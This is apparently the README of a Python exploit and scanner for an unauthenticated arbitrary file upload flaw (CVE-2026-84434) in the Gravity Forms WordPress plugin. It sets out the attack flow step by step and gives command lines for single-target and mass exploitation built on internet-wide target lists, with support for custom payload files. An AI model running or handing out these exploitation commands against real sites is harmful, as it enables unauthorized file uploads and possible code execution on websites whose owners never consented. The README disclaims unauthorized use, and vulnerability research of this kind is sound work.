CVE-2026-84434 — Gravity Forms Unauthenticated Arbitrary File Upload

Python 3 PoC scanner and exploit for CVE-2026-84434 in Gravity Forms.

Summary

Hidden File Upload fields skip extension validation in the validation pipeline, while the persistence path may still call upload_file() without equivalent checks. An unauthenticated attacker can POST to a public form that includes a File Upload field with Visibility → Hidden.

Files are stored under wp-content/uploads/gravity_forms/. Gravity Forms typically adds .htaccess rules to block PHP execution; RCE depends on server configuration (nginx, alternate docroot, etc.).

Attack flow

1. Detect Gravity Forms and version ≤ 3.1.0.4
2. Crawl public pages for gform_wrapper and a hidden fileupload field (input_{form}_{field})
3. Fill required visible fields with placeholders
4. Multipart POST (gform_submit, is_submit_{id}, file on hidden input)
5. Confirm via confirmation message / entry hints / optional marker fetch

Requirements

• Python 3.9+
• pip install -r requirements.txt

Usage

pip install -r requirements.txt

# Check single target
python poc.py -u https://target.example --mode check

# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet

# Exploit (built-in benign .txt probe unless --payload-file is set)
python poc.py -u https://target.example --mode exploit \
  --form-id 3 --page-url /contact/ --file-field 7

# Custom upload file (your own probe — not included in this repo)
python poc.py -u https://target.example --mode exploit \
  --form-id 3 --page-url /contact/ --file-field 7 \
  --payload-file probe.txt

# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 10 --quiet

CLI options

Output (mass check)

Common status values (check)

Limitations

• Check mode only sees hidden upload fields rendered in public HTML; admin-only hidden fields are not discoverable remotely.
• FOFA-style lists contain many patched sites or forms without hidden upload — expect low candidate rate.
• Default exploit uploads a harmless text marker, not a webshell.

Repository layout

.
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Local scan lists and artifacts (list.txt, *.jsonl, custom payloads) are in .gitignore and should not be committed.

Legal

For authorized security testing only. You are responsible for compliance with applicable laws and program rules.